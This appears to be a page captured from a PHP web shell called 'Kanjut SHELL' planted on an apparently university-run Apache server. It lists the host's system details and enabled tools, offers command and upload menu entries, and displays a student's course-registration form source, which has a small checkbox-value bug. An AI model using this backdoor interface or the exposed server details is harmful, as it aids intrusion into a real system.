Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 13.59.111.183
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ajzamor/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ajzamor/www/crsForm.php
<?php session_start();
// crsForm.php
// Andrew Zamor
$name = $_POST["name"];
$_SESSION["nm"] = $name;
$gender = $_POST["gender"];
$_SESSION["gen"] = $gender;
$grade = $_POST["grade"];
$_SESSION["gr"] = $grade;
?>
<CENTER>
<H2>
Student Registration Form
</H2>
<Form action=registration.php method=post>
Select your CS class: <P>
<?php
	$CS = array("CS112", "CS212", "CS310", "CS311", "CS380", "CS389", "CS440");
	for($i=0; $i<count($CS); $i++)
	{
		print"<INPUT type=checkbox name=CS[] value=$i> $CS[$i]";
		print"<BR>";
	}
?>
<P>
Select your math class:<P>
<?php
	$math = array("MATH135", "MATH136", "MATH171", "MATH172", "MATH271");	
	for($i=0; $i<count($math); $i++)
	{
		print"<INPUT type=checkbox name=math[] value=$1> $math[$i]";
		print"<BR>";
	}
?>
<P>
<input type=submit value=submit>
<input type=reset value=reset>
</FORM>
</CENTER>

Stv3n404 - 2023